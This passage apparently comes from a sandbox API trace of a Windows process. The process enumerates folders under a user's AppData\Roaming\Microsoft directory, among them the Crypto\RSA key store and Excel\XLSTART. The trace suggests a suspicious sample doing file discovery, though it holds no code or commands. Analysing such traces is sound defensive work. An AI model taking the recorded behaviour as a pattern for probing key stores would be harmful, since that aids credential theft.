lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.360] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.361] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.361] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.361] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.361] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.361] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.361] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.362] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.362] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.362] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.362] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.362] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\document building blocks"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b63d310, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b63d310, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.364] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.364] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.364] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.364] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.364] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.365] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\document building blocks\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b663470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b663470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.365] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.368] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.368] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.368] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.368] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.368] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.368] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.368] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.368] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.369] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.369] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.369] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.369] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.369] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\excel"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.371] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.371] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.372] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\excel\\xlstart"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.372] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0068.373] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.373] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.374] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.374] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0068.374] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.374] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.374] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.374] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.374] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.374] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.375] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.375] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.375] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ime12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.377] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.377] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.377] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.377] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.377] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.377] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.377] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.377] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.378] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp10"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x761de1d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x761de1d0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x761de1d0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.378] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.378] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.379] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.379] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.379] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.379] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.379] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.379] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.379] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.379] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.380] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.380] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.380] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 